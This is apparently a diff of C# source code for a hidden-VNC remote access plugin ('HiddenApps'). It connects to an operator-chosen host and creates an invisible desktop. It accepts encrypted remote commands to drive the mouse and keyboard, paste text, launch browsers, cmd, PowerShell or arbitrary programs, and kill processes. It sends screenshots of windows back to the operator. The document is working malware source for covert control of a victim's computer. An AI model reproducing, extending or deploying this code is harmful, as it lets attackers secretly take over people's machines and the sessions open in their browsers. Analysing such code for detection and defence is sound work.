||||
int num = Strings.AscW(@string);
|
||||
if (num == 8 || num == 13)
|
||||
{
|
||||
PostMessage(Helper.WindowrActive, 256u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string))), CreateLParamFor_WM_KEYDOWN(1, 30, IsExtendedKey: false, DownBefore: false));
|
||||
PostMessage(Helper.WindowrActive, 257u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string))), CreateLParamFor_WM_KEYUP(1, 30, IsExtendedKey: false));
|
||||
}
|
||||
else
|
||||
{
|
||||
PostMessage(Helper.WindowrActive, 258u, (IntPtr)Strings.AscW(@string), (IntPtr)1);
|
||||
}
|
||||
}
|
||||
|
||||
public static IntPtr CreateLParamFor_WM_KEYUP(ushort RepeatCount, byte ScanCode, bool IsExtendedKey)
|
||||
{
|
||||
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore: true, State: true);
|
||||
}
|
||||
|
||||
public static IntPtr CreateLParamFor_WM_KEYDOWN(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore)
|
||||
{
|
||||
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore, State: false);
|
||||
}
|
||||
|
||||
public static IntPtr KeysLParam(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore, bool State)
|
||||
{
|
||||
int num = RepeatCount | (ushort)(ScanCode << 16);
|
||||
if (IsExtendedKey)
|
||||
{
|
||||
num |= 0x10000;
|
||||
}
|
||||
if (DownBefore)
|
||||
{
|
||||
num |= 0x40000000;
|
||||
}
|
||||
if (State)
|
||||
{
|
||||
num = (int)((long)num | -2147483648L);
|
||||
}
|
||||
return new IntPtr(num);
|
||||
}
|
||||
|
||||
public static int MakeLParam(int LoWord, int HiWord)
|
||||
{
|
||||
return (HiWord << 16) | (LoWord & 0xFFFF);
|
||||
}
|
||||
|
||||
public static void HandleDoKeyboardEvent(KeyboardEvent command)
|
||||
{
|
||||
if (IsScreensaverActive())
|
||||
{
|
||||
DisableScreensaver();
|
||||
}
|
||||
IntPtr intPtr = InvokeUser32.WindowFromPoint(ptLast);
|
||||
InvokeUser32.SetForegroundWindow(intPtr);
|
||||
IntPtr intPtr2 = intPtr;
|
||||
do
|
||||
{
|
||||
intPtr = intPtr2;
|
||||
InvokeUser32.ScreenToClient(intPtr2, ref ptLast);
|
||||
intPtr2 = InvokeUser32.ChildWindowFromPoint(intPtr2, ptLast);
|
||||
}
|
||||
while (!(intPtr2 == IntPtr.Zero) && !(intPtr2 == intPtr));
|
||||
IntPtr wParam = (IntPtr)command.Key;
|
||||
long num = MAKELPARAM(ptLast.X, ptLast.Y);
|
||||
InvokeUser32.PostMessage(Helper.WindowrActive, 256, wParam, (IntPtr)num);
|
||||
}
|
||||
|
||||
public static long MAKELPARAM(long wLow, long wHigh)
|
||||
{
|
||||
return LoWord(wLow) | (65536 * LoWord(wHigh));
|
||||
}
|
||||
|
||||
public static long LoWord(long lDWord)
|
||||
{
|
||||
if ((lDWord & 0x8000) > 0)
|
||||
{
|
||||
return lDWord | 0xFFFF0000u;
|
||||
}
|
||||
return lDWord & 0xFFFF;
|
||||
}
|
||||
|
||||
public static long HiWord(long lDword)
|
||||
{
|
||||
if ((lDword & 0x80000000u) == 2147483648u)
|
||||
{
|
||||
return lDword >> 16;
|
||||
}
|
||||
return (lDword >> 16) & 0xFFFF;
|
||||
}
|
||||
|
||||
public static int GET_X_LPARAM(long lp)
|
||||
{
|
||||
return (short)LoWord(lp);
|
||||
}
|
||||
|
||||
public static int GET_Y_LPARAM(long lp)
|
||||
{
|
||||
return (short)HiWord(lp);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,801 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Linq;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Microsoft.VisualBasic; // Install-Package Microsoft.VisualBasic
|
||||
using Microsoft.VisualBasic.CompilerServices; // Install-Package Microsoft.VisualBasic
|
||||
using Microsoft.Win32;
|
||||
using static System.Net.Mime.MediaTypeNames;
|
||||
using HiddenApps;
|
||||
|
||||
namespace HiddenApps
|
||||
{
|
||||
class Plugin
|
||||
{
|
||||
|
||||
public static System.Threading.Thread T1 = new System.Threading.Thread(new System.Threading.ThreadStart(ClientSocket.BeginConnect));
|
||||
public static System.Threading.Thread T2 = new System.Threading.Thread(new System.Threading.ThreadStart(ClientSocket.Ping));
|
||||
public static void Run(string H, string P, string SL, string K, string id)
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
Settings.Host = H;
|
||||
Settings.Port = P;
|
||||
Settings.SPL = SL;
|
||||
Settings.KEY = K;
|
||||
Settings.IDD = id;
|
||||
T1.Start();
|
||||
T2.Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public partial class Settings
|
||||
{
|
||||
public static string Host;
|
||||
public static string Port;
|
||||
public static string KEY;
|
||||
public static string SPL;
|
||||
public static string IDD;
|
||||
}
|
||||
|
||||
public partial class ClientSocket
|
||||
{
|
||||
public static bool isConnected = false;
|
||||
public static Socket S;
|
||||
public static long BufferLength = default;
|
||||
public static byte[] Buffer;
|
||||
public static MemoryStream MS = new MemoryStream();
|
||||
public static void BeginConnect()
|
||||
{
|
||||
S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
BufferLength = -1;
|
||||
Buffer = new byte[1];
|
||||
MS = new MemoryStream();
|
||||
|
||||
S.ReceiveBufferSize = 50 * 1024;
|
||||
S.SendBufferSize = 50 * 1024;
|
||||
|
||||
try
|
||||
{
|
||||
S.Connect(Settings.Host, Conversions.ToInteger(Settings.Port));
|
||||
isConnected = true;
|
||||
|
||||
|
||||
|
||||
Send("FormHApps" + Settings.SPL + Settings.IDD);
|
||||
|
||||
try
|
||||
{
|
||||
Helper.CreatedDesktop();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("Hidden App / Create Hidden Desktop!: " + ex.Message);
|
||||
}
|
||||
|
||||
|
||||
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isDisconnected();
|
||||
}
|
||||
}
|
||||
|
||||
public static void BeginReceive(IAsyncResult ar)
|
||||
{
|
||||
if (isConnected == false)
|
||||
isDisconnected();
|
||||
try
|
||||
{
|
||||
int Received = S.EndReceive(ar);
|
||||
if (Received > 0)
|
||||
{
|
||||
if (BufferLength == -1)
|
||||
{
|
||||
if (Buffer[0] == 0)
|
||||
{
|
||||
BufferLength = Conversions.ToLong(Helper.BS(MS.ToArray()));
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
|
||||
if (BufferLength == 0L)
|
||||
{
|
||||
BufferLength = -1;
|
||||
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
|
||||
return;
|
||||
}
|
||||
Buffer = new byte[(int)(BufferLength - 1L + 1)];
|
||||
}
|
||||
else
|
||||
{
|
||||
MS.WriteByte(Buffer[0]);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
MS.Write(Buffer, 0, Received);
|
||||
if (MS.Length == BufferLength)
|
||||
{
|
||||
|
||||
var thread = new Thread(BeginRead);
|
||||
thread.Start(MS.ToArray());
|
||||
|
||||
BufferLength = -1;
|
||||
MS.Dispose();
|
||||
MS = new MemoryStream();
|
||||
Buffer = new byte[1];
|
||||
}
|
||||
else
|
||||
{
|
||||
Buffer = new byte[(int)(BufferLength - MS.Length - 1L + 1)];
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
isDisconnected();
|
||||
return;
|
||||
}
|
||||
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isDisconnected();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
public static void BeginRead(object b)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] buffer = (byte[])b;
|
||||
Messages.Read(buffer);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
public static void Send(string msg)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var MS = new MemoryStream())
|
||||
{
|
||||
var B = Helper.AES_Encryptor(Helper.SB(msg));
|
||||
var L = Helper.SB(B.Length.ToString() + Conversions.ToChar(Constants.vbNullChar));
|
||||
|
||||
MS.Write(L, 0, L.Length);
|
||||
MS.Write(B, 0, B.Length);
|
||||
|
||||
S.Poll(-1, SelectMode.SelectWrite);
|
||||
S.Send(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isDisconnected();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void isDisconnected()
|
||||
{
|
||||
isConnected = false;
|
||||
|
||||
try
|
||||
{
|
||||
S.Close();
|
||||
S.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
MS.Close();
|
||||
MS.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
Plugin.T1.Abort();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
try
|
||||
{
|
||||
Plugin.T2.Abort();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
public static void Ping()
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
System.Threading.Thread.Sleep(30 * 1000);
|
||||
try
|
||||
{
|
||||
if (S.Connected)
|
||||
{
|
||||
using (var MS = new MemoryStream())
|
||||
{
|
||||
var B = Helper.AES_Encryptor(Helper.SB("PING?"));
|
||||
var L = Helper.SB(B.Length.ToString() + Conversions.ToChar(Constants.vbNullChar));
|
||||
|
||||
MS.Write(L, 0, L.Length);
|
||||
MS.Write(B, 0, B.Length);
|
||||
|
||||
S.Poll(-1, SelectMode.SelectWrite);
|
||||
S.Send(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None);
|
||||
GC.Collect();
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isDisconnected();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public partial class Messages
|
||||
{
|
||||
|
||||
public static void Read(byte[] b)
|
||||
{
|
||||
try
|
||||
{
|
||||
var A = Strings.Split(Helper.BS(Helper.AES_Decryptor(b)), Conversions.ToString(Settings.SPL));
|
||||
switch (A[0] ?? "")
|
||||
{
|
||||
case "CloseHApps":
|
||||
{
|
||||
ClientSocket.isDisconnected();
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
///////////////////////////
|
||||
///
|
||||
//A[1] = X
|
||||
//A[2] = Y
|
||||
case "LeftDown":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
int strRemoteX7 = int.Parse(A[1]);
|
||||
int strRemoteY7 = int.Parse(A[2]);
|
||||
Helper.ParseMessage("LeftDown", strRemoteX7, strRemoteY7, Helper.IsMoveMouse);
|
||||
break;
|
||||
}
|
||||
case "LeftUp":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
int strRemoteX6 = int.Parse(A[1]);
|
||||
int strRemoteY6 = int.Parse(A[2]);
|
||||
Helper.ParseMessage("LeftUp", strRemoteX6, strRemoteY6, Helper.IsMoveMouse);
|
||||
break;
|
||||
}
|
||||
case "RightDown":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
int strRemoteX5 = int.Parse(A[1]);
|
||||
int strRemoteY5 = int.Parse(A[2]);
|
||||
Helper.ParseMessage("RightDown", strRemoteX5, strRemoteY5, Helper.IsMoveMouse);
|
||||
break;
|
||||
}
|
||||
case "RightUp":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
int strRemoteX4 = int.Parse(A[1]);
|
||||
int strRemoteY4 = int.Parse(A[2]);
|
||||
Helper.ParseMessage("RightUp", strRemoteX4, strRemoteY4, Helper.IsMoveMouse);
|
||||
break;
|
||||
}
|
||||
case "MoveCursor":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
int strRemoteX3 = int.Parse(A[1]);
|
||||
int strRemoteY3 = int.Parse(A[2]);
|
||||
Helper.ParseMessage("MoveCursor", strRemoteX3, strRemoteY3, Helper.IsMoveMouse);
|
||||
break;
|
||||
}
|
||||
case "ScrollDown":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
int strRemoteX2 = int.Parse(A[1]);
|
||||
int strRemoteY2 = int.Parse(A[2]);
|
||||
Helper.ParseMessage("ScrollDown", strRemoteX2, strRemoteY2, Helper.IsMoveMouse);
|
||||
break;
|
||||
}
|
||||
case "ScrollUp":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
int strRemoteX = int.Parse(A[1]);
|
||||
int strRemoteY = int.Parse(A[2]);
|
||||
Helper.ParseMessage("ScrollUp", strRemoteX, strRemoteY, Helper.IsMoveMouse);
|
||||
break;
|
||||
}
|
||||
/////////////////////////
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
case "paste":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
HandleClipboard.Paste(A[1]);
|
||||
break;
|
||||
}
|
||||
|
||||
case "keyboardClick":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
PacketHandler.KeyboardDown(A[1]);
|
||||
break;
|
||||
}
|
||||
|
||||
case "GetHWND":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
string asString2 = A[1];
|
||||
int num = Convert.ToInt32(A[2]);
|
||||
int width2 = Convert.ToInt32(A[3]);
|
||||
int height2 = Convert.ToInt32(A[4]);
|
||||
if (GetHandleWindow.InitializingWindow(num, width2, height2))
|
||||
{
|
||||
Helper.WindowrActive = GetHandleWindow.m_lstWindow[num];
|
||||
Helper.MsgLogs(asString2 + " window is ready");
|
||||
}
|
||||
else
|
||||
{
|
||||
Helper.MsgLogs(asString2 + " window not found!");
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
case "OpenCommandPrompt":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
CommandPrompt.Open();
|
||||
break;
|
||||
}
|
||||
case "OpenEdgeBrowser":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
Edge.OpenEdgeBrowser();
|
||||
break;
|
||||
}
|
||||
case "OpenChromeBrowser":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
Chrome.OpenChromeBrowser();
|
||||
break;
|
||||
}
|
||||
case "OpenFireFoxBrowser":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
FireFox.OpenFireFoxBrowser();
|
||||
break;
|
||||
}
|
||||
case "OpenBraveBrowser":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
Brave.OpenBraveBrowser();
|
||||
break;
|
||||
}
|
||||
case "OpenPowerShell":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
PowerShell.Open();
|
||||
break;
|
||||
}
|
||||
case "CustomOpen":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
CustomOpen.Open(A[1], A[2]);
|
||||
break;
|
||||
}
|
||||
|
||||
case "Resize":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
int width = Convert.ToInt32(A[1]);
|
||||
int height = Convert.ToInt32(A[2]);
|
||||
if (GetHandleWindow.WindowCheck(Helper.WindowrActive))
|
||||
{
|
||||
GetHandleWindow.ResizeWondow(Helper.WindowrActive, Helper.LocationHandle, Helper.LocationHandle, width, height);
|
||||
Helper.MsgLogs("Window resized");
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "Refresh":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
GetHandleWindow.GetListWindow();
|
||||
Helper.MsgLogs("Windows list updated successfully");
|
||||
break;
|
||||
}
|
||||
case "Restart":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
string asString = A[1];
|
||||
Helper.MsgLogs("Restarting the application - " + new FileInfo(asString).Name + "...");
|
||||
if (!GetHandleWindow.WindowCheck(Helper.WindowrActive))
|
||||
{
|
||||
break;
|
||||
}
|
||||
Process[] processes = Process.GetProcesses();
|
||||
foreach (Process process in processes)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (process.Id == Convert.ToInt32(A[2]))
|
||||
{
|
||||
process.Kill();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
Thread.Sleep(1000);
|
||||
SetCurrentVirtualDesktop.CreateProcess(asString, Helper.HVNCDesktopName, bAppName: true);
|
||||
Thread.Sleep(1000);
|
||||
GetHandleWindow.GetListWindow();
|
||||
Helper.MsgLogs("The applaction has been restarted - " + new FileInfo(asString).Name);
|
||||
break;
|
||||
}
|
||||
|
||||
case "Close":
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
Helper.ProcessKill(Convert.ToInt32(A[1]));
|
||||
break;
|
||||
}
|
||||
|
||||
case "Restore":
|
||||
{
|
||||
if (GetHandleWindow.WindowCheck(Helper.WindowrActive))
|
||||
{
|
||||
Helper.ShowWindow(Helper.WindowrActive, 9);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
|
||||
case "HApps+":
|
||||
{
|
||||
|
||||
SetCurrentVirtualDesktop.SetCurrent(Helper.VirtualDesktop);
|
||||
Bitmap bitmap = null;
|
||||
Helper.Resize = false;
|
||||
|
||||
try
|
||||
{
|
||||
|
||||
if (GetHandleWindow.WindowCheck(Helper.WindowrActive))
|
||||
{
|
||||
bitmap = ScreenshotCapture.CaptureWindow(Helper.WindowrActive);
|
||||
using (Helper.Appsstream = new MemoryStream())
|
||||
{
|
||||
|
||||
EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, Convert.ToInt32(A[1]));
|
||||
ImageCodecInfo encoderInfo = Helper.GetEncoderInfo("image/jpeg");
|
||||
EncoderParameters encoderParameters = new EncoderParameters(1);
|
||||
encoderParameters.Param[0] = encoderParameter;
|
||||
bitmap.Save(Helper.Appsstream, encoderInfo, encoderParameters);
|
||||
|
||||
|
||||
ClientSocket.Send("HApps+" + Settings.SPL + Settings.IDD + Settings.SPL + Convert.ToBase64String(Helper.Compress(Helper.Appsstream.ToArray())));
|
||||
|
||||
encoderParameters?.Dispose();
|
||||
bitmap?.Dispose();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
ClientSocket.Send("HApps+" + Settings.SPL + Settings.IDD + Settings.SPL + "");
|
||||
}
|
||||
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Helper.MsgLogs("Error! " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
internal static partial class Helper
|
||||
{
|
||||
|
||||
|
||||
|
||||
public static void MsgLogs(string Message)
|
||||
{
|
||||
ClientSocket.Send("HAppsMSG" + Settings.SPL + Settings.IDD + Settings.SPL + Message);
|
||||
}
|
||||
|
||||
public static ImageCodecInfo GetEncoderInfo(string M)
|
||||
{
|
||||
ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
|
||||
int arg_0B_0 = 0;
|
||||
int num = imageEncoders.Length;
|
||||
for (int i = arg_0B_0; i <= num; i++)
|
||||
{
|
||||
if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(imageEncoders[i].MimeType, M, false) == 0)
|
||||
return imageEncoders[i];
|
||||
}
|
||||
return null/* TODO Change to default(_) if this is not a reference type */;
|
||||
}
|
||||
|
||||
|
||||
public static bool CreatedDesktop()
|
||||
{
|
||||
try
|
||||
{
|
||||
VirtualDesktop = SetCurrentVirtualDesktop.OpenDesktop(HVNCDesktopName);
|
||||
if (VirtualDesktop == null)
|
||||
{
|
||||
VirtualDesktop = SetCurrentVirtualDesktop.CreateDesktop(HVNCDesktopName);
|
||||
}
|
||||
SetCurrentVirtualDesktop.SetCurrent(VirtualDesktop);
|
||||
GetHandleWindow.GetListWindow();
|
||||
Helper.MsgLogs("Hidden Applactions is ready");
|
||||
}
|
||||
catch
|
||||
{
|
||||
Helper.MsgLogs("Error An error occurred while initializing hidden applications!");
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
public static MemoryStream Appsstream = new MemoryStream();
|
||||
|
||||
|
||||
public static SetCurrentVirtualDesktop VirtualDesktop = null;
|
||||
|
||||
public static string HVNCDesktopName = "TyApps";
|
||||
|
||||
public static Thread CaptureThread = null;
|
||||
|
||||
public static int LocationHandle = 0;
|
||||
|
||||
public static bool IsMoveMouse = true;
|
||||
|
||||
public static IntPtr WindowrActive { get; set; }
|
||||
|
||||
public static int Quality { get; set; }
|
||||
|
||||
public static bool Resize { get; set; }
|
||||
|
||||
public static bool Speed { get; set; }
|
||||
|
||||
public static int X { get; set; }
|
||||
|
||||
public static int Y { get; set; }
|
||||
|
||||
|
||||
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] SB(string s)
|
||||
{
|
||||
return Encoding.UTF8.GetBytes(s);
|
||||
}
|
||||
|
||||
public static string BS(byte[] b)
|
||||
{
|
||||
return Encoding.UTF8.GetString(b);
|
||||
}
|
||||
public static byte[] AES_Encryptor(byte[] input)
|
||||
{
|
||||
var AES_ = new RijndaelManaged();
|
||||
var Hash = new MD5CryptoServiceProvider();
|
||||
try
|
||||
{
|
||||
AES_.Key = Hash.ComputeHash(SB(Settings.KEY));
|
||||
AES_.Mode = CipherMode.ECB;
|
||||
var DESEncrypter = AES_.CreateEncryptor();
|
||||
var Buffer = input;
|
||||
return DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
return default;
|
||||
}
|
||||
|
||||
public static byte[] AES_Decryptor(byte[] input)
|
||||
{
|
||||
var AES_ = new RijndaelManaged();
|
||||
var Hash = new MD5CryptoServiceProvider();
|
||||
try
|
||||
{
|
||||
AES_.Key = Hash.ComputeHash(SB(Settings.KEY));
|
||||
AES_.Mode = CipherMode.ECB;
|
||||
var DESDecrypter = AES_.CreateDecryptor();
|
||||
var Buffer = input;
|
||||
return DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine(ex.Message);
|
||||
}
|
||||
|
||||
return default;
|
||||
}
|
||||
|
||||
|
||||
public static void ParseMessage(string strMessage, int strRemoteX, int strRemoteY, bool IsMouseDown)
|
||||
{
|
||||
try
|
||||
{
|
||||
MouseEvent mouseEvent = new MouseEvent();
|
||||
if (strMessage.Contains("LeftDown"))
|
||||
{
|
||||
mouseEvent.Action = MouseAction.LeftDown;
|
||||
}
|
||||
else if (strMessage.Contains("LeftUp"))
|
||||
{
|
||||
mouseEvent.Action = MouseAction.LeftUp;
|
||||
}
|
||||
else if (strMessage.Contains("RightDown"))
|
||||
{
|
||||
mouseEvent.Action = MouseAction.RightDown;
|
||||
}
|
||||
else if (strMessage.Contains("RightUp"))
|
||||
{
|
||||
mouseEvent.Action = MouseAction.RightUp;
|
||||
}
|
||||
else if (strMessage.Contains("LeftUp"))
|
||||
{
|
||||
mouseEvent.Action = MouseAction.LeftUp;
|
||||
}
|
||||
else if (strMessage.Contains("MoveCursor"))
|
||||
{
|
||||
mouseEvent.Action = MouseAction.MoveCursor;
|
||||
}
|
||||
else if (strMessage.Contains("ScrollUp"))
|
||||
{
|
||||
mouseEvent.Action = MouseAction.ScrollUp;
|
||||
}
|
||||
else if (strMessage.Contains("ScrollDown"))
|
||||
{
|
||||
mouseEvent.Action = MouseAction.ScrollDown;
|
||||
}
|
||||
else
|
||||
{
|
||||
mouseEvent.Action = MouseAction.None;
|
||||
}
|
||||
mouseEvent.IsMouseDown = IsMouseDown;
|
||||
mouseEvent.X = strRemoteX;
|
||||
mouseEvent.Y = strRemoteY;
|
||||
PacketHandler.HandleDoMouseEvent(mouseEvent);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
|
||||
|
||||
public static void ProcessKill(int ID)
|
||||
{
|
||||
SetCurrentVirtualDesktop.SetCurrent(VirtualDesktop);
|
||||
Process[] processes = Process.GetProcesses();
|
||||
foreach (Process process in processes)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (process.Id == ID)
|
||||
{
|
||||
process.Kill();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
GetHandleWindow.GetListWindow();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,223 @@
|
||||
// HApps, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// Plugin.Handle.GetHandleWindow
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
internal class GetHandleWindow
|
||||
{
|
||||
public struct EnumHwndsPrintData
|
||||
{
|
||||
public IntPtr hDc;
|
||||
|
||||
public IntPtr hDcScreen;
|
||||
}
|
||||
|
||||
public struct RECT
|
||||
{
|
||||
public int Left;
|
||||
|
||||
public int Top;
|
||||
|
||||
public int Right;
|
||||
|
||||
public int Bottom;
|
||||
}
|
||||
|
||||
public delegate bool EnumHwndsPrint(IntPtr hWnd, ref object lParam);
|
||||
|
||||
private class User32
|
||||
{
|
||||
public struct RECT
|
||||
{
|
||||
public int left;
|
||||
|
||||
public int top;
|
||||
|
||||
public int right;
|
||||
|
||||
public int bottom;
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetForegroundWindow();
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern IntPtr GetWindowRect(IntPtr hWnd, ref RECT rect);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool IsWindowVisible(IntPtr hWnd);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
|
||||
}
|
||||
|
||||
public const int GW_HWNDLAST = 1;
|
||||
|
||||
public const int GW_HWNDNEXT = 2;
|
||||
|
||||
public const int GW_HWNDPREV = 3;
|
||||
|
||||
public static List<IntPtr> m_lstWindow = new List<IntPtr>();
|
||||
|
||||
public static readonly object SyncLock = new object();
|
||||
|
||||
private static bool IsWindowActived { get; set; }
|
||||
|
||||
